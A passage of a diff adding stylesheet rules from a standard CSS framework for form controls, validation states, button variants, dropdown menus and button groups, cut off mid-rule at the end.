.input-group-sm > select.form-control:not([size]):not([multiple]), +.input-group-sm > .input-group-prepend > select.input-group-text:not([size]):not([multiple]), +.input-group-sm > .input-group-append > select.input-group-text:not([size]):not([multiple]), +.input-group-sm > .input-group-prepend > select.btn:not([size]):not([multiple]), +.input-group-sm > .input-group-append > select.btn:not([size]):not([multiple]) { + height: calc(1.8125rem + 2px); +} + +.form-control-lg, .input-group-lg > .form-control, +.input-group-lg > .input-group-prepend > .input-group-text, +.input-group-lg > .input-group-append > .input-group-text, +.input-group-lg > .input-group-prepend > .btn, +.input-group-lg > .input-group-append > .btn { + padding: 0.5rem 1rem; + font-size: 1.25rem; + line-height: 1.5; + border-radius: 0.3rem; +} + +select.form-control-lg:not([size]):not([multiple]), .input-group-lg > select.form-control:not([size]):not([multiple]), +.input-group-lg > .input-group-prepend > select.input-group-text:not([size]):not([multiple]), +.input-group-lg > .input-group-append > select.input-group-text:not([size]):not([multiple]), +.input-group-lg > .input-group-prepend > select.btn:not([size]):not([multiple]), +.input-group-lg > .input-group-append > select.btn:not([size]):not([multiple]) { + height: calc(2.875rem + 2px); +} + +.form-group { + margin-bottom: 1rem; +} + +.form-text { + display: block; + margin-top: 0.25rem; +} + +.form-row { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + margin-right: -5px; + margin-left: -5px; +} + +.form-row > .col, +.form-row > [class*="col-"] { + padding-right: 5px; + padding-left: 5px; +} + +.form-check { + position: relative; + display: block; + padding-left: 1.25rem; +} + +.form-check-input { + position: absolute; + margin-top: 0.3rem; + margin-left: -1.25rem; +} + +.form-check-input:disabled ~ .form-check-label { + color: #6c757d; +} + +.form-check-label { + margin-bottom: 0; +} + +.form-check-inline { + display: -ms-inline-flexbox; + display: inline-flex; + -ms-flex-align: center; + align-items: center; + padding-left: 0; + margin-right: 0.75rem; +} + +.form-check-inline .form-check-input { + position: static; + margin-top: 0; + margin-right: 0.3125rem; + margin-left: 0; +} + +.valid-feedback { + display: none; + width: 100%; + margin-top: 0.25rem; + font-size: 80%; + color: #28a745; +} + +.valid-tooltip { + position: absolute; + top: 100%; + z-index: 5; + display: none; + max-width: 100%; + padding: .5rem; + margin-top: .1rem; + font-size: .875rem; + line-height: 1; + color: #fff; + background-color: rgba(40, 167, 69, 0.8); + border-radius: .2rem; +} + +.was-validated .form-control:valid, .form-control.is-valid, .was-validated +.custom-select:valid, +.custom-select.is-valid { + border-color: #28a745; +} + +.was-validated .form-control:valid:focus, .form-control.is-valid:focus, .was-validated +.custom-select:valid:focus, +.custom-select.is-valid:focus { + border-color: #28a745; + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25); +} + +.was-validated .form-control:valid ~ .valid-feedback, +.was-validated .form-control:valid ~ .valid-tooltip, .form-control.is-valid ~ .valid-feedback, +.form-control.is-valid ~ .valid-tooltip, .was-validated +.custom-select:valid ~ .valid-feedback, +.was-validated +.custom-select:valid ~ .valid-tooltip, +.custom-select.is-valid ~ .valid-feedback, +.custom-select.is-valid ~ .valid-tooltip { + display: block; +} + +.was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label { + color: #28a745; +} + +.was-validated .form-check-input:valid ~ .valid-feedback, +.was-validated .form-check-input:valid ~ .valid-tooltip, .form-check-input.is-valid ~ .valid-feedback, +.form-check-input.is-valid ~ .valid-tooltip { + display: block; +} + +.was-validated .custom-control-input:valid ~ .custom-control-label, .custom-control-input.is-valid ~ .custom-control-label { + color: #28a745; +} + +.was-validated .custom-control-input:valid ~ .custom-control-label::before, .custom-control-input.is-valid ~ .custom-control-label::before { + background-color: #71dd8a; +} + +.was-validated .custom-control-input:valid ~ .valid-feedback, +.was-validated .custom-control-input:valid ~ .valid-tooltip, .custom-control-input.is-valid ~ .valid-feedback, +.custom-control-input.is-valid ~ .valid-tooltip { + display: block; +} + +.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before, .custom-control-input.is-valid:checked ~ .custom-control-label::before { + background-color: #34ce57; +} + +.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before, .custom-control-input.is-valid:focus ~ .custom-control-label::before { + box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(40, 167, 69, 0.25); +} + +.was-validated .custom-file-input:valid ~ .custom-file-label, .custom-file-input.is-valid ~ .custom-file-label { + border-color: #28a745; +} + +.was-validated .custom-file-input:valid ~ .custom-file-label::before, .custom-file-input.is-valid ~ .custom-file-label::before { + border-color: inherit; +} + +.was-validated .custom-file-input:valid ~ .valid-feedback, +.was-validated .custom-file-input:valid ~ .valid-tooltip, .custom-file-input.is-valid ~ .valid-feedback, +.custom-file-input.is-valid ~ .valid-tooltip { + display: block; +} + +.was-validated .custom-file-input:valid:focus ~ .custom-file-label, .custom-file-input.is-valid:focus ~ .custom-file-label { + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25); +} + +.invalid-feedback { + display: none; + width: 100%; + margin-top: 0.25rem; + font-size: 80%; + color: #dc3545; +} + +.invalid-tooltip { + position: absolute; + top: 100%; + z-index: 5; + display: none; + max-width: 100%; + padding: .5rem; + margin-top: .1rem; + font-size: .875rem; + line-height: 1; + color: #fff; + background-color: rgba(220, 53, 69, 0.8); + border-radius: .2rem; +} + +.was-validated .form-control:invalid, .form-control.is-invalid, .was-validated +.custom-select:invalid, +.custom-select.is-invalid { + border-color: #dc3545; +} + +.was-validated .form-control:invalid:focus, .form-control.is-invalid:focus, .was-validated +.custom-select:invalid:focus, +.custom-select.is-invalid:focus { + border-color: #dc3545; + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25); +} + +.was-validated .form-control:invalid ~ .invalid-feedback, +.was-validated .form-control:invalid ~ .invalid-tooltip, .form-control.is-invalid ~ .invalid-feedback, +.form-control.is-invalid ~ .invalid-tooltip, .was-validated +.custom-select:invalid ~ .invalid-feedback, +.was-validated +.custom-select:invalid ~ .invalid-tooltip, +.custom-select.is-invalid ~ .invalid-feedback, +.custom-select.is-invalid ~ .invalid-tooltip { + display: block; +} + +.was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label { + color: #dc3545; +} + +.was-validated .form-check-input:invalid ~ .invalid-feedback, +.was-validated .form-check-input:invalid ~ .invalid-tooltip, .form-check-input.is-invalid ~ .invalid-feedback, +.form-check-input.is-invalid ~ .invalid-tooltip { + display: block; +} + +.was-validated .custom-control-input:invalid ~ .custom-control-label, .custom-control-input.is-invalid ~ .custom-control-label { + color: #dc3545; +} + +.was-validated .custom-control-input:invalid ~ .custom-control-label::before, .custom-control-input.is-invalid ~ .custom-control-label::before { + background-color: #efa2a9; +} + +.was-validated .custom-control-input:invalid ~ .invalid-feedback, +.was-validated .custom-control-input:invalid ~ .invalid-tooltip, .custom-control-input.is-invalid ~ .invalid-feedback, +.custom-control-input.is-invalid ~ .invalid-tooltip { + display: block; +} + +.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before, .custom-control-input.is-invalid:checked ~ .custom-control-label::before { + background-color: #e4606d; +} + +.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before, .custom-control-input.is-invalid:focus ~ .custom-control-label::before { + box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(220, 53, 69, 0.25); +} + +.was-validated .custom-file-input:invalid ~ .custom-file-label, .custom-file-input.is-invalid ~ .custom-file-label { + border-color: #dc3545; +} + +.was-validated .custom-file-input:invalid ~ .custom-file-label::before, .custom-file-input.is-invalid ~ .custom-file-label::before { + border-color: inherit; +} + +.was-validated .custom-file-input:invalid ~ .invalid-feedback, +.was-validated .custom-file-input:invalid ~ .invalid-tooltip, .custom-file-input.is-invalid ~ .invalid-feedback, +.custom-file-input.is-invalid ~ .invalid-tooltip { + display: block; +} + +.was-validated .custom-file-input:invalid:focus ~ .custom-file-label, .custom-file-input.is-invalid:focus ~ .custom-file-label { + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25); +} + +.form-inline { + display: -ms-flexbox; + display: flex; + -ms-flex-flow: row wrap; + flex-flow: row wrap; + -ms-flex-align: center; + align-items: center; +} + +.form-inline .form-check { + width: 100%; +} + +@media (min-width: 576px) { + .form-inline label { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: center; + justify-content: center; + margin-bottom: 0; + } + .form-inline .form-group { + display: -ms-flexbox; + display: flex; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + -ms-flex-flow: row wrap; + flex-flow: row wrap; + -ms-flex-align: center; + align-items: center; + margin-bottom: 0; + } + .form-inline .form-control { + display: inline-block; + width: auto; + vertical-align: middle; + } + .form-inline .form-control-plaintext { + display: inline-block; + } + .form-inline .input-group, + .form-inline .custom-select { + width: auto; + } + .form-inline .form-check { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: center; + justify-content: center; + width: auto; + padding-left: 0; + } + .form-inline .form-check-input { + position: relative; + margin-top: 0; + margin-right: 0.25rem; + margin-left: 0; + } + .form-inline .custom-control { + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: center; + justify-content: center; + } + .form-inline .custom-control-label { + margin-bottom: 0; + } +} + +.btn { + display: inline-block; + font-weight: 400; + text-align: center; + white-space: nowrap; + vertical-align: middle; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + border: 1px solid transparent; + padding: 0.375rem 0.75rem; + font-size: 1rem; + line-height: 1.5; + border-radius: 0.25rem; + transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; +} + +@media screen and (prefers-reduced-motion: reduce) { + .btn { + transition: none; + } +} + +.btn:hover, .btn:focus { + text-decoration: none; +} + +.btn:focus, .btn.focus { + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.btn.disabled, .btn:disabled { + opacity: 0.65; +} + +.btn:not(:disabled):not(.disabled) { + cursor: pointer; +} + +.btn:not(:disabled):not(.disabled):active, .btn:not(:disabled):not(.disabled).active { + background-image: none; +} + +a.btn.disabled, +fieldset:disabled a.btn { + pointer-events: none; +} + +.btn-primary { + color: #fff; + background-color: #007bff; + border-color: #007bff; +} + +.btn-primary:hover { + color: #fff; + background-color: #0069d9; + border-color: #0062cc; +} + +.btn-primary:focus, .btn-primary.focus { + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5); +} + +.btn-primary.disabled, .btn-primary:disabled { + color: #fff; + background-color: #007bff; + border-color: #007bff; +} + +.btn-primary:not(:disabled):not(.disabled):active, .btn-primary:not(:disabled):not(.disabled).active, +.show > .btn-primary.dropdown-toggle { + color: #fff; + background-color: #0062cc; + border-color: #005cbf; +} + +.btn-primary:not(:disabled):not(.disabled):active:focus, .btn-primary:not(:disabled):not(.disabled).active:focus, +.show > .btn-primary.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5); +} + +.btn-secondary { + color: #fff; + background-color: #6c757d; + border-color: #6c757d; +} + +.btn-secondary:hover { + color: #fff; + background-color: #5a6268; + border-color: #545b62; +} + +.btn-secondary:focus, .btn-secondary.focus { + box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5); +} + +.btn-secondary.disabled, .btn-secondary:disabled { + color: #fff; + background-color: #6c757d; + border-color: #6c757d; +} + +.btn-secondary:not(:disabled):not(.disabled):active, .btn-secondary:not(:disabled):not(.disabled).active, +.show > .btn-secondary.dropdown-toggle { + color: #fff; + background-color: #545b62; + border-color: #4e555b; +} + +.btn-secondary:not(:disabled):not(.disabled):active:focus, .btn-secondary:not(:disabled):not(.disabled).active:focus, +.show > .btn-secondary.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5); +} + +.btn-success { + color: #fff; + background-color: #28a745; + border-color: #28a745; +} + +.btn-success:hover { + color: #fff; + background-color: #218838; + border-color: #1e7e34; +} + +.btn-success:focus, .btn-success.focus { + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5); +} + +.btn-success.disabled, .btn-success:disabled { + color: #fff; + background-color: #28a745; + border-color: #28a745; +} + +.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active, +.show > .btn-success.dropdown-toggle { + color: #fff; + background-color: #1e7e34; + border-color: #1c7430; +} + +.btn-success:not(:disabled):not(.disabled):active:focus, .btn-success:not(:disabled):not(.disabled).active:focus, +.show > .btn-success.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5); +} + +.btn-info { + color: #fff; + background-color: #17a2b8; + border-color: #17a2b8; +} + +.btn-info:hover { + color: #fff; + background-color: #138496; + border-color: #117a8b; +} + +.btn-info:focus, .btn-info.focus { + box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5); +} + +.btn-info.disabled, .btn-info:disabled { + color: #fff; + background-color: #17a2b8; + border-color: #17a2b8; +} + +.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active, +.show > .btn-info.dropdown-toggle { + color: #fff; + background-color: #117a8b; + border-color: #10707f; +} + +.btn-info:not(:disabled):not(.disabled):active:focus, .btn-info:not(:disabled):not(.disabled).active:focus, +.show > .btn-info.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5); +} + +.btn-warning { + color: #212529; + background-color: #ffc107; + border-color: #ffc107; +} + +.btn-warning:hover { + color: #212529; + background-color: #e0a800; + border-color: #d39e00; +} + +.btn-warning:focus, .btn-warning.focus { + box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5); +} + +.btn-warning.disabled, .btn-warning:disabled { + color: #212529; + background-color: #ffc107; + border-color: #ffc107; +} + +.btn-warning:not(:disabled):not(.disabled):active, .btn-warning:not(:disabled):not(.disabled).active, +.show > .btn-warning.dropdown-toggle { + color: #212529; + background-color: #d39e00; + border-color: #c69500; +} + +.btn-warning:not(:disabled):not(.disabled):active:focus, .btn-warning:not(:disabled):not(.disabled).active:focus, +.show > .btn-warning.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5); +} + +.btn-danger { + color: #fff; + background-color: #dc3545; + border-color: #dc3545; +} + +.btn-danger:hover { + color: #fff; + background-color: #c82333; + border-color: #bd2130; +} + +.btn-danger:focus, .btn-danger.focus { + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5); +} + +.btn-danger.disabled, .btn-danger:disabled { + color: #fff; + background-color: #dc3545; + border-color: #dc3545; +} + +.btn-danger:not(:disabled):not(.disabled):active, .btn-danger:not(:disabled):not(.disabled).active, +.show > .btn-danger.dropdown-toggle { + color: #fff; + background-color: #bd2130; + border-color: #b21f2d; +} + +.btn-danger:not(:disabled):not(.disabled):active:focus, .btn-danger:not(:disabled):not(.disabled).active:focus, +.show > .btn-danger.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5); +} + +.btn-light { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa; +} + +.btn-light:hover { + color: #212529; + background-color: #e2e6ea; + border-color: #dae0e5; +} + +.btn-light:focus, .btn-light.focus { + box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5); +} + +.btn-light.disabled, .btn-light:disabled { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa; +} + +.btn-light:not(:disabled):not(.disabled):active, .btn-light:not(:disabled):not(.disabled).active, +.show > .btn-light.dropdown-toggle { + color: #212529; + background-color: #dae0e5; + border-color: #d3d9df; +} + +.btn-light:not(:disabled):not(.disabled):active:focus, .btn-light:not(:disabled):not(.disabled).active:focus, +.show > .btn-light.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5); +} + +.btn-dark { + color: #fff; + background-color: #343a40; + border-color: #343a40; +} + +.btn-dark:hover { + color: #fff; + background-color: #23272b; + border-color: #1d2124; +} + +.btn-dark:focus, .btn-dark.focus { + box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5); +} + +.btn-dark.disabled, .btn-dark:disabled { + color: #fff; + background-color: #343a40; + border-color: #343a40; +} + +.btn-dark:not(:disabled):not(.disabled):active, .btn-dark:not(:disabled):not(.disabled).active, +.show > .btn-dark.dropdown-toggle { + color: #fff; + background-color: #1d2124; + border-color: #171a1d; +} + +.btn-dark:not(:disabled):not(.disabled):active:focus, .btn-dark:not(:disabled):not(.disabled).active:focus, +.show > .btn-dark.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5); +} + +.btn-outline-primary { + color: #007bff; + background-color: transparent; + background-image: none; + border-color: #007bff; +} + +.btn-outline-primary:hover { + color: #fff; + background-color: #007bff; + border-color: #007bff; +} + +.btn-outline-primary:focus, .btn-outline-primary.focus { + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5); +} + +.btn-outline-primary.disabled, .btn-outline-primary:disabled { + color: #007bff; + background-color: transparent; +} + +.btn-outline-primary:not(:disabled):not(.disabled):active, .btn-outline-primary:not(:disabled):not(.disabled).active, +.show > .btn-outline-primary.dropdown-toggle { + color: #fff; + background-color: #007bff; + border-color: #007bff; +} + +.btn-outline-primary:not(:disabled):not(.disabled):active:focus, .btn-outline-primary:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-primary.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5); +} + +.btn-outline-secondary { + color: #6c757d; + background-color: transparent; + background-image: none; + border-color: #6c757d; +} + +.btn-outline-secondary:hover { + color: #fff; + background-color: #6c757d; + border-color: #6c757d; +} + +.btn-outline-secondary:focus, .btn-outline-secondary.focus { + box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5); +} + +.btn-outline-secondary.disabled, .btn-outline-secondary:disabled { + color: #6c757d; + background-color: transparent; +} + +.btn-outline-secondary:not(:disabled):not(.disabled):active, .btn-outline-secondary:not(:disabled):not(.disabled).active, +.show > .btn-outline-secondary.dropdown-toggle { + color: #fff; + background-color: #6c757d; + border-color: #6c757d; +} + +.btn-outline-secondary:not(:disabled):not(.disabled):active:focus, .btn-outline-secondary:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-secondary.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5); +} + +.btn-outline-success { + color: #28a745; + background-color: transparent; + background-image: none; + border-color: #28a745; +} + +.btn-outline-success:hover { + color: #fff; + background-color: #28a745; + border-color: #28a745; +} + +.btn-outline-success:focus, .btn-outline-success.focus { + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5); +} + +.btn-outline-success.disabled, .btn-outline-success:disabled { + color: #28a745; + background-color: transparent; +} + +.btn-outline-success:not(:disabled):not(.disabled):active, .btn-outline-success:not(:disabled):not(.disabled).active, +.show > .btn-outline-success.dropdown-toggle { + color: #fff; + background-color: #28a745; + border-color: #28a745; +} + +.btn-outline-success:not(:disabled):not(.disabled):active:focus, .btn-outline-success:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-success.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5); +} + +.btn-outline-info { + color: #17a2b8; + background-color: transparent; + background-image: none; + border-color: #17a2b8; +} + +.btn-outline-info:hover { + color: #fff; + background-color: #17a2b8; + border-color: #17a2b8; +} + +.btn-outline-info:focus, .btn-outline-info.focus { + box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5); +} + +.btn-outline-info.disabled, .btn-outline-info:disabled { + color: #17a2b8; + background-color: transparent; +} + +.btn-outline-info:not(:disabled):not(.disabled):active, .btn-outline-info:not(:disabled):not(.disabled).active, +.show > .btn-outline-info.dropdown-toggle { + color: #fff; + background-color: #17a2b8; + border-color: #17a2b8; +} + +.btn-outline-info:not(:disabled):not(.disabled):active:focus, .btn-outline-info:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-info.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5); +} + +.btn-outline-warning { + color: #ffc107; + background-color: transparent; + background-image: none; + border-color: #ffc107; +} + +.btn-outline-warning:hover { + color: #212529; + background-color: #ffc107; + border-color: #ffc107; +} + +.btn-outline-warning:focus, .btn-outline-warning.focus { + box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5); +} + +.btn-outline-warning.disabled, .btn-outline-warning:disabled { + color: #ffc107; + background-color: transparent; +} + +.btn-outline-warning:not(:disabled):not(.disabled):active, .btn-outline-warning:not(:disabled):not(.disabled).active, +.show > .btn-outline-warning.dropdown-toggle { + color: #212529; + background-color: #ffc107; + border-color: #ffc107; +} + +.btn-outline-warning:not(:disabled):not(.disabled):active:focus, .btn-outline-warning:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-warning.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5); +} + +.btn-outline-danger { + color: #dc3545; + background-color: transparent; + background-image: none; + border-color: #dc3545; +} + +.btn-outline-danger:hover { + color: #fff; + background-color: #dc3545; + border-color: #dc3545; +} + +.btn-outline-danger:focus, .btn-outline-danger.focus { + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5); +} + +.btn-outline-danger.disabled, .btn-outline-danger:disabled { + color: #dc3545; + background-color: transparent; +} + +.btn-outline-danger:not(:disabled):not(.disabled):active, .btn-outline-danger:not(:disabled):not(.disabled).active, +.show > .btn-outline-danger.dropdown-toggle { + color: #fff; + background-color: #dc3545; + border-color: #dc3545; +} + +.btn-outline-danger:not(:disabled):not(.disabled):active:focus, .btn-outline-danger:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-danger.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5); +} + +.btn-outline-light { + color: #f8f9fa; + background-color: transparent; + background-image: none; + border-color: #f8f9fa; +} + +.btn-outline-light:hover { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa; +} + +.btn-outline-light:focus, .btn-outline-light.focus { + box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5); +} + +.btn-outline-light.disabled, .btn-outline-light:disabled { + color: #f8f9fa; + background-color: transparent; +} + +.btn-outline-light:not(:disabled):not(.disabled):active, .btn-outline-light:not(:disabled):not(.disabled).active, +.show > .btn-outline-light.dropdown-toggle { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa; +} + +.btn-outline-light:not(:disabled):not(.disabled):active:focus, .btn-outline-light:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-light.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5); +} + +.btn-outline-dark { + color: #343a40; + background-color: transparent; + background-image: none; + border-color: #343a40; +} + +.btn-outline-dark:hover { + color: #fff; + background-color: #343a40; + border-color: #343a40; +} + +.btn-outline-dark:focus, .btn-outline-dark.focus { + box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5); +} + +.btn-outline-dark.disabled, .btn-outline-dark:disabled { + color: #343a40; + background-color: transparent; +} + +.btn-outline-dark:not(:disabled):not(.disabled):active, .btn-outline-dark:not(:disabled):not(.disabled).active, +.show > .btn-outline-dark.dropdown-toggle { + color: #fff; + background-color: #343a40; + border-color: #343a40; +} + +.btn-outline-dark:not(:disabled):not(.disabled):active:focus, .btn-outline-dark:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-dark.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5); +} + +.btn-link { + font-weight: 400; + color: #007bff; + background-color: transparent; +} + +.btn-link:hover { + color: #0056b3; + text-decoration: underline; + background-color: transparent; + border-color: transparent; +} + +.btn-link:focus, .btn-link.focus { + text-decoration: underline; + border-color: transparent; + box-shadow: none; +} + +.btn-link:disabled, .btn-link.disabled { + color: #6c757d; + pointer-events: none; +} + +.btn-lg, .btn-group-lg > .btn { + padding: 0.5rem 1rem; + font-size: 1.25rem; + line-height: 1.5; + border-radius: 0.3rem; +} + +.btn-sm, .btn-group-sm > .btn { + padding: 0.25rem 0.5rem; + font-size: 0.875rem; + line-height: 1.5; + border-radius: 0.2rem; +} + +.btn-block { + display: block; + width: 100%; +} + +.btn-block + .btn-block { + margin-top: 0.5rem; +} + +input[type="submit"].btn-block, +input[type="reset"].btn-block, +input[type="button"].btn-block { + width: 100%; +} + +.fade { + transition: opacity 0.15s linear; +} + +@media screen and (prefers-reduced-motion: reduce) { + .fade { + transition: none; + } +} + +.fade:not(.show) { + opacity: 0; +} + +.collapse:not(.show) { + display: none; +} + +.collapsing { + position: relative; + height: 0; + overflow: hidden; + transition: height 0.35s ease; +} + +@media screen and (prefers-reduced-motion: reduce) { + .collapsing { + transition: none; + } +} + +.dropup, +.dropright, +.dropdown, +.dropleft { + position: relative; +} + +.dropdown-toggle::after { + display: inline-block; + width: 0; + height: 0; + margin-left: 0.255em; + vertical-align: 0.255em; + content: ""; + border-top: 0.3em solid; + border-right: 0.3em solid transparent; + border-bottom: 0; + border-left: 0.3em solid transparent; +} + +.dropdown-toggle:empty::after { + margin-left: 0; +} + +.dropdown-menu { + position: absolute; + top: 100%; + left: 0; + z-index: 1000; + display: none; + float: left; + min-width: 10rem; + padding: 0.5rem 0; + margin: 0.125rem 0 0; + font-size: 1rem; + color: #212529; + text-align: left; + list-style: none; + background-color: #fff; + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, 0.15); + border-radius: 0.25rem; +} + +.dropdown-menu-right { + right: 0; + left: auto; +} + +.dropup .dropdown-menu { + top: auto; + bottom: 100%; + margin-top: 0; + margin-bottom: 0.125rem; +} + +.dropup .dropdown-toggle::after { + display: inline-block; + width: 0; + height: 0; + margin-left: 0.255em; + vertical-align: 0.255em; + content: ""; + border-top: 0; + border-right: 0.3em solid transparent; + border-bottom: 0.3em solid; + border-left: 0.3em solid transparent; +} + +.dropup .dropdown-toggle:empty::after { + margin-left: 0; +} + +.dropright .dropdown-menu { + top: 0; + right: auto; + left: 100%; + margin-top: 0; + margin-left: 0.125rem; +} + +.dropright .dropdown-toggle::after { + display: inline-block; + width: 0; + height: 0; + margin-left: 0.255em; + vertical-align: 0.255em; + content: ""; + border-top: 0.3em solid transparent; + border-right: 0; + border-bottom: 0.3em solid transparent; + border-left: 0.3em solid; +} + +.dropright .dropdown-toggle:empty::after { + margin-left: 0; +} + +.dropright .dropdown-toggle::after { + vertical-align: 0; +} + +.dropleft .dropdown-menu { + top: 0; + right: 100%; + left: auto; + margin-top: 0; + margin-right: 0.125rem; +} + +.dropleft .dropdown-toggle::after { + display: inline-block; + width: 0; + height: 0; + margin-left: 0.255em; + vertical-align: 0.255em; + content: ""; +} + +.dropleft .dropdown-toggle::after { + display: none; +} + +.dropleft .dropdown-toggle::before { + display: inline-block; + width: 0; + height: 0; + margin-right: 0.255em; + vertical-align: 0.255em; + content: ""; + border-top: 0.3em solid transparent; + border-right: 0.3em solid; + border-bottom: 0.3em solid transparent; +} + +.dropleft .dropdown-toggle:empty::after { + margin-left: 0; +} + +.dropleft .dropdown-toggle::before { + vertical-align: 0; +} + +.dropdown-menu[x-placement^="top"], .dropdown-menu[x-placement^="right"], .dropdown-menu[x-placement^="bottom"], .dropdown-menu[x-placement^="left"] { + right: auto; + bottom: auto; +} + +.dropdown-divider { + height: 0; + margin: 0.5rem 0; + overflow: hidden; + border-top: 1px solid #e9ecef; +} + +.dropdown-item { + display: block; + width: 100%; + padding: 0.25rem 1.5rem; + clear: both; + font-weight: 400; + color: #212529; + text-align: inherit; + white-space: nowrap; + background-color: transparent; + border: 0; +} + +.dropdown-item:hover, .dropdown-item:focus { + color: #16181b; + text-decoration: none; + background-color: #f8f9fa; +} + +.dropdown-item.active, .dropdown-item:active { + color: #fff; + text-decoration: none; + background-color: #007bff; +} + +.dropdown-item.disabled, .dropdown-item:disabled { + color: #6c757d; + background-color: transparent; +} + +.dropdown-menu.show { + display: block; +} + +.dropdown-header { + display: block; + padding: 0.5rem 1.5rem; + margin-bottom: 0; + font-size: 0.875rem; + color: #6c757d; + white-space: nowrap; +} + +.dropdown-item-text { + display: block; + padding: 0.25rem 1.5rem; + color: #212529; +} + +.btn-group, +.btn-group-vertical { + position: relative; + display: -ms-inline-flexbox; + display: inline-flex; + vertical-align: middle; +} + +.btn-group > .btn, +.btn-group-vertical > .btn { + position: relative; + -ms-flex: 0 1 auto; + flex: 0 1 auto; +} + +.btn-group > .btn:hover, +.btn-group-vertical > .btn:hover { + z-index: 1; +} + +.btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active, +.btn-group-vertical > .btn:focus, +.btn-group-vertical > .btn:active, +.btn-group-vertical > .btn.active { + z-index: 1; +} + +.btn-group .btn + .btn, +.btn-group .btn + .btn-group, +.btn-group .btn-group + .btn, +.btn-group .btn-group + .btn-group, +.btn-group-vertical .btn + .btn, +.btn-group-vertical .btn + .btn-group, +.btn-group-vertical .btn-group + .btn, +.btn-group-vertical .btn-group + .btn-group { + margin-left: -1px; +} + +.btn-toolbar { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -ms-flex-pack: start; + justify-content: flex-start; +} + +.btn-toolbar .input-group { + width: auto; +} + +.btn-group > .btn:first-child { + margin-left: 0; +} + +.btn-group > .btn:not(:last-child):not(.dropdown-toggle), +.btn-group > .btn-group:not(:last-child) > .btn { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} + +.btn-group > .btn:not(:first-child), +.btn-group > .btn-group:not(:first-child) > .btn { + border-top-left-radius: 0; + 